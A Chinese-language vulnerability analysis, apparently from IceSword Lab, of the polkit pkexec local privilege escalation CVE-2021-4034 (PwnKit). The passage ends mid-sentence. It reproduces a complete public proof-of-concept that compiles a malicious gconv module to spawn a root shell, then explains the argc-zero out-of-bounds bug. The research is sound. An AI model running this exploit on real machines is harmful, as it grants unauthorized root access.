<content type="html"><![CDATA[<h2 id="0x00-作者"><a href="#0x00-作者" class="headerlink" title="0x00 作者"></a>0x00 作者</h2><p>钱程 of <a href="https://www.iceswordlab.com/about/" target="_blank" rel="noopener">IceSword Lab</a> </p><h2 id="0x01-漏洞基本信息"><a href="#0x01-漏洞基本信息" class="headerlink" title="0x01 漏洞基本信息"></a>0x01 漏洞基本信息</h2><p>polkit 的 pkexec 程序中存在一个本地权限提升漏洞。当前版本的 pkexec 无法正确处理调用参数计数,并最终尝试将环境变量作为命令执行。攻击者可以通过控制环境变量来利用这一点,从而诱导 pkexec 执行任意代码。利用成功后,会导致本地特权升级,非特权用户获得管理员权限 </p><h3 id="软件简介"><a href="#软件简介" class="headerlink" title="软件简介"></a>软件简介</h3><p><a href="https://gitlab.freedesktop.org/polkit/polkit/" target="_blank" rel="noopener">polkit</a> 是一个应用程序级别的工具集,通过定义和审核权限规则,实现不同优先级进程间的通讯:控制决策集中在统一的框架之中,决定低优先级进程是否有权访问高优先级进程。</p><p>Polkit 在系统层级进行权限控制,提供了一个低优先级进程和高优先级进程进行通讯的系统。和 sudo 等程序不同,Polkit 并没有赋予进程完全的 root 权限,而是通过一个集中的策略系统进行更精细的授权。</p><p>Polkit 定义出一系列操作,例如运行 GParted, 并将用户按照群组或用户名进行划分,例如 wheel 群组用户。然后定义每个操作是否可以由某些用户执行,执行操作前是否需要一些额外的确认,例如通过输入密码确认用户是不是属于某个群组。</p><blockquote><p>https://wiki.archlinux.org/title/Polkit_(%E7%AE%80%E4%BD%93%E4%B8%AD%E6%96%87)</p></blockquote><h3 id="漏洞原理概括"><a href="#漏洞原理概括" class="headerlink" title="漏洞原理概括"></a>漏洞原理概括</h3><p>当前版本的 pkexec 无法正确处理调用参数计数,并最终尝试将环境变量作为命令执行。攻击者可以通过控制环境变量来利用这一点,从而诱导 pkexec 执行任意代码。</p><h3 id="前置知识"><a href="#前置知识" class="headerlink" title="前置知识"></a>前置知识</h3><p>pkexec 是 polkit 的一个程序,可以以其他用户身份执行命令。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">➜ pkexec --<span class="built_in">help</span></span><br><span class="line">pkexec --version |</span><br><span class="line"> --<span class="built_in">help</span> |</span><br><span class="line"> --<span class="built_in">disable</span>-internal-agent |</span><br><span class="line"> [--user username] PROGRAM [ARGUMENTS...]</span><br><span class="line"></span><br><span class="line">See the pkexec manual page <span class="keyword">for</span> more details.</span><br></pre></td></tr></table></figure><p>不指定 <code>--user</code> 参数时,缺省为 <code>root</code>。比如:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pkexec reboot</span><br></pre></td></tr></table></figure><p><a href="https://imgtu.com/i/7X2MRK" target="_blank" rel="noopener"><img src="https://s4.ax1x.com/2022/01/27/7X2MRK.png" alt="7X2MRK.png"></a></p><h3 id="漏洞环境搭建"><a href="#漏洞环境搭建" class="headerlink" title="漏洞环境搭建"></a>漏洞环境搭建</h3><p>环境没有特殊要求,主流 Linux 发行版都可以。</p><p>本次测试的环境:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">➜ uname -a</span><br><span class="line">Linux ubuntu 5.11.0-46-generic <span class="comment">#51~20.04.1-Ubuntu SMP Fri Jan 7 06:51:40 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux</span></span><br><span class="line">~ </span><br><span class="line">➜ lsb_release -a</span><br><span class="line">No LSB modules are available.</span><br><span class="line">Distributor ID:Ubuntu</span><br><span class="line">Description:Ubuntu 20.04.3 LTS</span><br><span class="line">Release:20.04</span><br><span class="line">Codename:focal</span><br><span class="line">➜ gcc --version</span><br><span class="line">gcc (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0</span><br><span class="line">Copyright (C) 2019 Free Software Foundation, Inc.</span><br><span class="line">This is free software; see the <span class="built_in">source</span> <span class="keyword">for</span> copying conditions. There is NO</span><br><span class="line">warranty; not even <span class="keyword">for</span> MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.</span><br><span class="line">➜ pkexec --version</span><br><span class="line">pkexec version 0.105</span><br></pre></td></tr></table></figure><h2 id="0x02-漏洞分析"><a href="#0x02-漏洞分析" class="headerlink" title="0x02 漏洞分析"></a>0x02 漏洞分析</h2><p>对该漏洞的分析将结合已知的 <a href="https://github.com/arthepsy/CVE-2021-4034" target="_blank" rel="noopener">POC</a> 和 Qualys 的<a href="https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034" target="_blank" rel="noopener">报告</a>进行。</p><h3 id="分析-POC"><a href="#分析-POC" class="headerlink" title="分析 POC"></a>分析 POC</h3><p>先来分析 POC:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"> <span class="number">1</span> <span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdio.h></span></span></span><br><span class="line"> <span class="number">2</span> <span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdlib.h></span></span></span><br><span class="line"> <span class="number">3</span> <span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><unistd.h></span></span></span><br><span class="line"> <span class="number">4</span> </span><br><span class="line"> <span class="number">5</span> <span class="keyword">char</span> *shell =</span><br><span class="line"> <span class="number">6</span> <span class="string">"#include <stdio.h>\n"</span></span><br><span class="line"> <span class="number">7</span> <span class="string">"#include <stdlib.h>\n"</span></span><br><span class="line"> <span class="number">8</span> <span class="string">"#include <unistd.h>\n\n"</span></span><br><span class="line"> <span class="number">9</span> <span class="string">"void gconv() {}\n"</span></span><br><span class="line"><span class="number">10</span> <span class="string">"void gconv_init() {\n"</span></span><br><span class="line"><span class="number">11</span> <span class="string">" setuid(0); setgid(0);\n"</span></span><br><span class="line"><span class="number">12</span> <span class="string">" seteuid(0); setegid(0);\n"</span></span><br><span class="line"><span class="number">13</span> <span class="string">" system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"</span></span><br><span class="line"><span class="number">14</span> <span class="string">" exit(0);\n"</span></span><br><span class="line"><span class="number">15</span> <span class="string">"}"</span>;</span><br><span class="line"><span class="number">16</span> </span><br><span class="line"><span class="number">17</span> <span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">char</span> *argv[])</span> </span>{</span><br><span class="line"><span class="number">18</span> FILE *fp;</span><br><span class="line"><span class="number">19</span> system(<span class="string">"mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'"</span>);</span><br><span class="line"><span class="number">20</span> system(<span class="string">"mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules"</span>);</span><br><span class="line"><span class="number">21</span> fp = fopen(<span class="string">"pwnkit/pwnkit.c"</span>, <span class="string">"w"</span>);</span><br><span class="line"><span class="number">22</span> <span class="built_in">fprintf</span>(fp, <span class="string">"%s"</span>, shell);</span><br><span class="line"><span class="number">23</span> fclose(fp); </span><br><span class="line"><span class="number">24</span> system(<span class="string">"gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC"</span>);</span><br><span class="line"><span class="number">25</span> <span class="keyword">char</span> *env[] = { <span class="string">"pwnkit"</span>, <span class="string">"PATH=GCONV_PATH=."</span>, <span class="string">"CHARSET=PWNKIT"</span>, <span class="string">"SHELL=pwnkit"</span>, <span class="literal">NULL</span> };</span><br><span class="line"><span class="number">26</span> execve(<span class="string">"/usr/bin/pkexec"</span>, (<span class="keyword">char</span>*[]){<span class="literal">NULL</span>}, env);</span><br><span class="line"><span class="number">27</span> }</span><br></pre></td></tr></table></figure><p>在该 POC 中: </p><ol><li>L5-L15,即 payload,引入了一个 root 权限的 <code>/bin/sh</code></li><li>L19,创建目录 <code>GCONV_PATH=.</code>,创建文件 <code>GCONV_PATH=./pwnkit</code> 并添加了执行权限</li><li>L20,创建目录 <code>pwnkit</code>,创建文件 <code>pwnkit/gconv-modules</code> 并写入内容 <code>module UTF-8// PWNKIT// pwnkit 2</code></li><li>L21-L24,把 payload 写入 <code>pwnkit/pwnkit.c</code> 并编译为动态链接库 <code>pwnkit/pwnkit.so</code></li><li>L25,一个特殊的数组</li><li>L26,使用 <code>execve</code> 调用 <code>pkexec</code>,这里有个特别的参数 <code>(char*[]){NULL}</code>,这也是整个 POC 的<strong>启动点</strong></li></ol><p>测试一下 POC:</p><p><a href="https://imgtu.com/i/7X2QxO" target="_blank" rel="noopener"><img src="https://s4.ax1x.com/2022/01/27/7X2QxO.png" alt="7X2QxO.png"></a></p><h3 id="奇妙的-argc-为-0"><a href="#奇妙的-argc-为-0" class="headerlink" title="奇妙的 argc 为 0"></a>奇妙的 argc 为 0</h3><p>argc 和 argv 大家都熟悉,为了后面的分析这里再介绍一下:</p><ul><li>argc:即 argument count,保存运行时传递给 main 函数的参数个数。</li><li>argv:即 argument vector,保存运行时传递 main 函数的参数,类型是一个字符指针数组,每个元素是一个字符指针,指向一个命令行参数。<br>例如:</li><li>argv[0] 指向程序运行时的全路径名;</li><li>argv[1] 指向程序在命令行中执行程序名后的第一个字符串</li></ul><p>下面的代码就展示了 argc 和 argv 用法:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//t.c</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdio.h></span></span></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">char</span> *argv[])</span></span>{</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"argc:%d\n"</span>,argc);</span><br><span class="line"> <span class="keyword">for</span>(<span class="keyword">int</span> i=<span class="number">0</span>;i<=argc;i++){</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"argv[%d]:%s\n"</span>,i,argv[i]);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">➜ gcc t.c -o t</span><br><span class="line">~/t2 </span><br><span class="line">➜ ./t</span><br><span class="line">argc:<span class="number">1</span></span><br><span class="line">argv[<span class="number">0</span>]:./t</span><br><span class="line">argv[<span class="number">1</span>]:(null)</span><br><span class="line">~/t2 </span><br><span class="line">➜ ./t -l</span><br><span class="line">argc:<span class="number">2</span></span><br><span class="line">argv[<span class="number">0</span>]:./t</span><br><span class="line">argv[<span class="number">1</span>]:-l</span><br><span class="line">argv[<span class="number">2</span>]:(null)</span><br></pre></td></tr></table></figure><h4 id="execve"><a href="#execve" class="headerlink" title="execve()"></a>execve()</h4><p><a href="https://man7.org/linux/man-pages/man2/execve.2.html" target="_blank" rel="noopener">execve()</a> 可以执行程序,使用该函数需要引入 <code>unistd.h</code> 头文件,函数原型:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">execve</span><span class="params">(<span class="keyword">const</span> <span class="keyword">char</span> *pathname, <span class="keyword">char</span> *<span class="keyword">const</span> argv[],</span></span></span><br><span class="line"><span class="function"><span class="params"> <span class="keyword">char</span> *<span class="keyword">const</span> envp[])</span></span>;</span><br></pre></td></tr></table></figure><p>我们使用前面的 <code>t.c</code> 来熟悉一下 <code>execve()</code>:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//ex.c</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><unistd.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">char</span> *argv[])</span></span>{</span><br><span class="line"> <span class="keyword">char</span> *args[]={<span class="string">"./t"</span>,<span class="string">"-l"</span>,<span class="literal">NULL</span>};</span><br><span class="line"> <span class="keyword">char</span> *enp[]={<span class="number">0</span>,<span class="literal">NULL</span>};</span><br><span class="line"> execve(<span class="string">"./t"</span>,args,enp);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">➜ vim ex.c</span><br><span class="line">~/t2 took <span class="number">24</span>s </span><br><span class="line">➜ gcc ex.c -o ex</span><br><span class="line">~/t2 </span><br><span class="line">➜ ./ex </span><br><span class="line">argc:<span class="number">2</span></span><br><span class="line">argv[<span class="number">0</span>]:./t</span><br><span class="line">argv[<span class="number">1</span>]:-l</span><br><span class="line">argv[<span class="number">2</span>]:(null)</span><br></pre></td></tr></table></figure><p>前面 POC 中 L26,使用了 <code>execve()</code>:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">25</span> <span class="keyword">char</span> *env[] = { <span class="string">"pwnkit"</span>, <span class="string">"PATH=GCONV_PATH=."</span>, <span class="string">"CHARSET=PWNKIT"</span>, <span class="string">"SHELL=pwnkit"</span>, <span class="literal">NULL</span> };</span><br><span class="line"><span class="number">26</span> execve(<span class="string">"/usr/bin/pkexec"</span>, (<span class="keyword">char</span>*[]){<span class="literal">NULL</span>}, env);</span><br></pre></td></tr></table></figure><p>但是参数使用方法和我们测试的不同,<strong>第二个参数使用了 <code>(char*[]){NULL}</code> 进行填充</strong>。我们来测试一下这样会有什么结果:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//ex.c</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><unistd.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">char</span> *argv[])</span></span>{</span><br><span class="line"> <span class="comment">//char *args[]={"./t","-l",NULL};</span></span><br><span class="line"> <span class="keyword">char</span> *enp[]={<span class="number">0</span>,<span class="literal">NULL</span>};</span><br><span class="line"> execve(<span class="string">"./t"</span>,(<span class="keyword">char</span>*[]){<span class="literal">NULL</span>},enp);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">~/t2 </span><br><span class="line">➜ vim ex.c</span><br><span class="line">~/t2 took <span class="number">31</span>s </span><br><span class="line">➜ gcc ex.c -o ex</span><br><span class="line">~/t2 </span><br><span class="line">➜ ./ex </span><br><span class="line">argc:<span class="number">0</span></span><br><span class="line">argv[<span class="number">0</span>]:(null)</span><br></pre></td></tr></table></figure><p>此时我们发现 argc 为 0,且 argv[0] 内容为空,不再是程序本身。这有什么用呢?用处很大。</p><h3 id="pkexec-中的越界读取"><a href="#pkexec-中的越界读取" class="headerlink" title="pkexec 中的越界读取"></a>pkexec 中的越界读取</h3><p>现在来分析 pkexec 的代码,其 main() 函数主要结构如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">435</span> main (<span class="keyword">int</span> argc, <span class="keyword">char</span> *argv[])</span><br><span class="line"><span class="number">436</span> {</span><br><span class="line">...</span><br><span class="line"><span class="number">534</span> <span class="keyword">for</span> (n = <span class="number">1</span>; n < (guint) argc; n++)</span><br><span class="line"><span class="number">535</span> {</span><br><span class="line">...</span><br><span class="line"><span class="number">568</span> }</span><br><span class="line">...</span><br><span class="line"><span class="number">610</span> path = g_strdup (argv[n]);</span><br><span class="line">...</span><br><span class="line"><span class="number">629</span> <span class="keyword">if</span> (path[<span class="number">0</span>] != <span class="string">'/'</span>)</span><br><span class="line"><span class="number">630</span> {</span><br><span class="line">...</span><br><span class="line"><span class="number">632</span> s = g_find_program_in_path (path);</span><br><span class="line">...</span><br><span class="line"><span class="number">639</span> argv[n] = path = s;</span><br><span class="line"><span class="number">640</span> }</span><br></pre></td></tr></table></figure><p>其中有两个 glib 提供的函数 <a href="https://www.manpagez.com/html/glib/glib-2.56.0/glib-String-Utility-Functions.php#g-strdup" target="_blank" rel="noopener">g_strdup()</a> 和 <a href="https://docs.gtk.org/glib/func.find_program_in_path.html" target="_blank" rel="noopener">g_find_program_in_path()</a> ,先熟悉一下: </p><blockquote><ul><li><code>g_strdup()</code> 复制一个字符串,声明如下:<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">gchar *</span><br><span class="line">g_strdup (<span class="keyword">const</span> gchar *str);</span><br></pre></td></tr></table></figure></li><li><code>g_find_program_in_path()</code> 在用户路径中定位第一个名为 program 的可执行程序,与 execvp() 定位它的方式相同。返回具有绝对路径名的已分配字符串,如果在路径中找不到程序,则返回 NULL。如果 program 已经是绝对路径,且如果 program 存在并且可执行,则返回 program 的副本,否则返回 NULL。<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">gchar*</span><br><span class="line">g_find_program_in_path (</span><br><span class="line"> <span class="keyword">const</span> gchar* program</span><br><span class="line">)</span><br></pre></td></tr></table></figure></li></ul></blockquote><p>再看 main() 函数中:</p><ul><li>L534-L568,用来处理命令行参数<ul><li>L534:n=1,当 argc=1 时,不会进入循环,比如:<code>pkexec</code>;当 argc>1时,才会进入循环,比如:<code>pkexec --version</code></li></ul></li><li>L610-L640,如果其路径不是绝对路径,会在 PATH 中搜索要执行的程序<ul><li>L610:使用 <code>g_strdup()</code> 复制 <code>argv[n]</code> 的内容到 <code>path</code>,因为在 <code>pkexec</code> 中 <code>argv[n]</code> 就是目标路径,比如:<code>pkexec reboot</code></li><li>L629:这里判断是否是绝对路径的方法比较巧妙,使用 <code>path[0] != '/'</code> 来判断</li><li>L632:检索目标路径,返回目标路径字符串</li><li>L639:将返回的路径赋值给 <code>path</code> 和 <code>argv[n]</code> </li></ul></li></ul><p>正常情况下,这样处理的逻辑没有问题。<br>但如果命令行参数 argc 为 0,则会出现意外情况:</p><ul><li>L534,n 永久设置为 1;</li><li>L610,<code>argv[1]</code> 发生越界读取,并把越界读取到的值赋给了 <code>path</code>;</li><li>L639,指针 s 被越界写入 <code>argv[1]</code>。</li></ul><p>问题在于,这个越界的 <code>argv[1]</code> 中读取和写入的是什么?</p><p>我们需要先了解参数的内存布局,结合内核代码来分析:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// linux5.4/fs/binfmt_elf.c:</span></span><br><span class="line"><span class="number">163</span> <span class="keyword">static</span> <span class="keyword">int</span></span><br><span class="line"><span class="number">164</span> create_elf_tables(struct linux_binprm *bprm, struct elfhdr *exec,</span><br><span class="line"><span class="number">165</span> <span class="keyword">unsigned</span> <span class="keyword">long</span> load_addr, <span class="keyword">unsigned</span> <span class="keyword">long</span> interp_load_addr)</span><br><span class="line"><span class="number">166</span> {</span><br><span class="line">...</span><br><span class="line"><span class="number">284</span> sp = STACK_ADD(p, ei_index);</span><br><span class="line">...</span><br><span class="line"><span class="comment">// 布局 main 函数栈</span></span><br><span class="line"><span class="number">306</span> <span class="comment">/* Now, let's put argc (and argv, envp if appropriate) on the stack */</span></span><br><span class="line"><span class="comment">// argc 入栈</span></span><br><span class="line"><span class="number">307</span> <span class="keyword">if</span> (__put_user(argc, sp++))</span><br><span class="line"><span class="number">308</span> <span class="keyword">return</span> -EFAULT;</span><br><span class="line"><span class="number">309</span></span><br><span class="line"><span class="comment">// argv 入栈</span></span><br><span class="line"><span class="number">310</span> <span class="comment">/* Populate list of argv pointers back to argv strings. */</span></span><br><span class="line"><span class="number">311</span> p = current->mm->arg_end = current->mm->arg_start;</span><br><span class="line"><span class="number">312</span> <span class="keyword">while</span> (argc-- > <span class="number">0</span>) {</span><br><span class="line"><span class="number">313</span> <span class="keyword">size_t</span> len;</span><br><span class="line"><span class="number">314</span> <span class="keyword">if</span> (__put_user((<span class="keyword">elf_addr_t</span>)p, sp++))</span><br><span class="line"><span class="number">315</span> <span class="keyword">return</span> -EFAULT;</span><br><span class="line"><span class="number">316</span> len = strnlen_user((<span class="keyword">void</span> __user *)p, MAX_ARG_STRLEN);</span><br><span class="line"><span class="number">317</span> <span class="keyword">if</span> (!len || len > MAX_ARG_STRLEN)</span><br><span class="line"><span class="number">318</span> <span class="keyword">return</span> -EINVAL;</span><br><span class="line"><span class="number">319</span> p += len;</span><br><span class="line"><span class="number">320</span> }</span><br><span class="line"><span class="comment">// argv null 入栈</span></span><br><span class="line"><span class="number">321</span> <span class="keyword">if</span> (__put_user(<span class="number">0</span>, sp++))</span><br><span class="line"><span class="number">322</span> <span class="keyword">return</span> -EFAULT;</span><br><span class="line"><span class="number">323</span> current->mm->arg_end = p;</span><br><span class="line"><span class="number">324</span></span><br><span class="line"><span class="comment">// env 入栈</span></span><br><span class="line"><span class="number">325</span> <span class="comment">/* Populate list of envp pointers back to envp strings. */</span></span><br><span class="line"><span class="number">326</span> current->mm->env_end = current->mm->env_start = p;</span><br><span class="line"><span class="number">327</span> <span class="keyword">while</span> (envc-- > <span class="number">0</span>) {</span><br><span class="line"><span class="number">328</span> <span class="keyword">size_t</span> len;</span><br><span class="line"><span class="number">329</span> <span class="keyword">if</span> (__put_user((<span class="keyword">elf_addr_t</span>)p, sp++))</span><br><span class="line"><span class="number">330</span> <span class="keyword">return</span> -EFAULT;</span><br><span class="line"><span class="number">331</span> len = strnlen_user((<span class="keyword">void</span> __user *)p, MAX_ARG_STRLEN);</span><br><span class="line"><span class="number">332</span> <span class="keyword">if</span> (!len || len > MAX_ARG_STRLEN)</span><br><span class="line"><span class="number">333</span> <span class="keyword">return</span> -EINVAL;</span><br><span class="line"><span class="number">334</span> p += len;</span><br><span class="line"><span class="number">335</span> }</span><br><span class="line"><span class="comment">// env null 入栈</span></span><br><span class="line"><span class="number">336</span> <span class="keyword">if</span> (__put_user(<span class="number">0</span>, sp++))</span><br><span class="line"><span class="number">337</span> <span class="keyword">return</span> -EFAULT;\</span><br><span class="line">...</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>从代码中可以看出,当 execve() 一个新程序时,内核将参数、环境字符串和指针(argv 和 envp)复制到新程序堆栈的末尾,main 函数参数是布局在栈上,argc、argv依次入栈(L307、L321),后面紧接着就是 env 入栈(L325-L336)。<br>把上面的代码简化成下面的图示:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">|---------+---------+-----+------------|---------+---------+-----+------------|</span><br><span class="line">| argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] |</span><br><span class="line">|----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------|</span><br><span class="line"> V V V V V V</span><br><span class="line"> "program" "-option" NULL "value" "PATH=name" NULL</span><br></pre></td></tr></table></figure><p>可以发现 argv 和 envp 指针在内存中是连续的,如果 argc 为 0,那么越界 argv[1] 实际上是 <code>envp[0]</code>,指向第一个环境变量 <code>value</code> 的指针。</p><p>argv[1] 是什么解决了,那再回过来看 pkexec 的 main() 函数</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">435</span> main (<span class="keyword">int</span> argc, <span class="keyword">char</span> *argv[])</span><br><span class="line"><span class="number">436</span> {</span><br><span class="line">...</span><br><span class="line"><span class="number">534</span> <span class="keyword">for</span> (n = <span class="number">1</span>; n < (guint) argc; n++)</span><br><span class="line"><span class="number">535</span> {</span><br><span class="line">...</span><br><span class="line"><span class="number">568</span> }</span><br><span class="line">...</span><br><span class="line"><span class="number">610</span> path = g_strdup (argv[n]);</span><br><span class="line">...</span><br><span class="line"><span class="number">629</span> <span class="keyword">if</span> (path[<span class="number">0</span>] != <span class="string">'/'</span>)</span><br><span class="line"><span class="number">630</span> {</span><br><span class="line">...</span><br><span class="line"><span class="number">632</span> s = g_find_program_in_path (path);</span><br><span class="line">...</span><br><span class="line"><span class="number">639</span> argv[n] = path = s;</span><br><span class="line"><span class="number">640</span> }</span><br></pre></td></tr></table></figure><ul><li>L610,要执行的程序的路径从 argv[1](即 <code>envp[0]</code>)越界读取,并指向 <code>value</code></li><li>L632,这个路径 <code>value</code> 被传递给 <code>g_find_program_in_path()</code></li><li><code>g_find_program_in_path()</code> 会在 PATH 环境变量的目录中搜索一个名为 <code>value</code> 的可执行文件</li><li>如果找到这样的可执行文件,则将其完整路径返回给 pkexec 的 main() 函数(L632)</li><li>最后,L639,这个完整路径被越界写入 argv[1](即 <code>envp[0]</code>),覆盖了第一个环境变量。</li></ul><p>因此只要能控制 <code>g_find_program_in_path</code> 返回的字符串,就可以注入任意的环境变量。</p><p>Qualys <a 